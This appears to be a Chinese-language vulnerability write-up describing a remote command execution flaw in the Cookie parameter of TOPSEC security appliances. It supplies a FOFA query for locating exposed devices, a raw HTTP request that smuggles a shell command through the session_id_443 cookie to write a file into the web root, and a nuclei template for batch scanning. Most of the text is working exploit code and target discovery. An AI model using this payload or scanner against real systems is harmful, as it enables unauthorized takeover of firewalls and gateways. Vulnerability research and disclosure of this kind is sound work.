漏洞描述

天融信TOPSEC解决方案包括综合管理系统，各类安全产品如防火墙、VPN、安全网关、宽带管理、入侵检测、内容过滤、个人安全套件以及综合安全审计系统等多种安全功能。
系统Cookie参数存在命令执行漏洞。

fofa语句

title="Web User Login" && body="/cgi/maincgi.cgi?Url=VerifyCode"

漏洞复现

访问首页

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构造payload

GET /cgi/maincgi.cgi?Url=aa HTTP/1.1
Host: x.x.x.x
Cookie: session_id_443=1|echo 'changge' > /www/htdocs/site/image/ecisas.txt;
User-Agent: Mozilla/5.0 (Windows NT 6.4; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36

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访问 /site/image/ecisas.txt

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nuclei批量验证poc

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id: tianrongxin-topsec-maincgi-cookie-rce

info:
  name: 天融信TOPSEC Cookie 远程命令执行漏洞
  author: changge
  severity: critical
  description: 天融信TOPSEC解决方案包括综合管理系统Cookie参数存在RCE漏洞，会导致服务器失陷。
  metadata:
    max-request: 1
    fofa-query: title="Web User Login" && body="/cgi/maincgi.cgi?Url=VerifyCode"
    verified: true
variables:
  file_name: "{{to_lower(rand_text_alpha(6))}}"
  file_content: "{{to_lower(rand_text_alpha(15))}}"
requests:
  - raw:
      - |+
        GET /cgi/maincgi.cgi?Url=aa HTTP/1.1
        Host: {{Hostname}}
        Cookie: session_id_443=1|echo '{{file_content}}' > /www/htdocs/site/image/{{file_name}}.txt;
        User-Agent: Mozilla/5.0 (Windows NT 6.4; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36

      - |
        GET /site/image/{{file_name}}.txt HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 6.4; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36

    matchers:
      - type: dsl
        dsl:
          - "status_code_1 == 200 && status_code_2 == 200 && contains(body_2, '{{file_content}}')"